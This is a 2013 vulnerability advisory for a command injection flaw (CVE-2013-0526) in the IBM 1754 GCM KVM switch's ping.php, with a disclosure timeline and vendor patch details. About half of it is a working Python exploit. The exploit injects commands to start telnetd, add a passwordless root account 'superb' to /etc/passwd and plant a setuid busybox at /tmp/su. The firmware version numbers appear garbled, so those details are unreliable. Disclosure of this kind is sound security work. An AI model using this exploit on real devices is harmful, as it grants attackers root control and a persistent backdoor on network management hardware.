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I. Product description The IBM 1754 GCM family provides KVM over IP and serial console management technology in a single appliance. II. Vulnerability information Impact: Command execution Remotely exploitable: yes CVE: 2013-0526 CVS Score: 8.5 III. Vulnerability details GCM16 (v.220.127.116.1111) and older versions of this KVM switch contain a flaw that allows a remote authenticated user to execute unauthorized commands as root. This flaw exist because webapp variables are not sanitised. In this case, parameters $count and $size from ping.php allow to create a special crafted URL to inject text to an exec() so it can be arbitrary used to execute any command on the KVM embedded linux. IV. Proof of concept Following is a simple exploit that lead to root access to the device, opening a telnet and creating a new user with root permission without password (sessid and target are hardcoded so it must be changed to work): #!/usr/bin/python """ This exploit for Avocent KVM switch allows to gain root access to embedded device. SessionId (avctSessionId) is neccesary for this to work, so you need a valid user. Default user is "Admin" with blank password. After running exploit, connect using telnet to device with user target (pass: target) then do "/tmp/su - superb" to gain root """ from StringIO import StringIO import pycurl import re sessid = "XXXXXXXXX" target = "https://ip.of.kvm/ping.php" <https://172.30.30.40/ping.php> command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd ; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to device using telnet with user target and pass target, then \"/tmp/su - superb\"" storage = StringIO() c = pycurl.Curl() c.setopt(c.URL, target) c.setopt(c.SSL_VERIFYPEER,0) c.setopt(c.SSL_VERIFYHOST,0) c.setopt(c.WRITEFUNCTION,storage.write) c.setopt(c.POSTFIELDS, 'address=255.255.255.255&action=ping&size=56&count=1 ; echo *E* ; ' + command + ' ; echo *E*') c.setopt(c.COOKIE,'avctSessionId=' + sessid) try: c.perform() c.close() except: print "" content = storage.getvalue() x1 = re.search(r"\*E\*(.*)\*E\*",content) print x1.group(1).replace("<br />","\n") V. Vendor Response IBM released a new firmware that corrects this vulnerability (18.104.22.16875) VI. Timeline 2013-06-12 - Vendor (IBM PSIRT) notified. 2013-06-12 - Vendor assigns internal ID. 2013-07-02 - Vendor confirms the vulnerability. 2013-08-16 - Vulnerability disclosed and patch released. VII. External information Information about this vulnerability (in spanish): http://www.bitcloud.es/2013/08/vulnerabilidad-en-kvms-gcm1632-de-ibm.html IBM Security Bulletin: http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5093509 -- -- Alejandro Alvarez Bravo firstname.lastname@example.org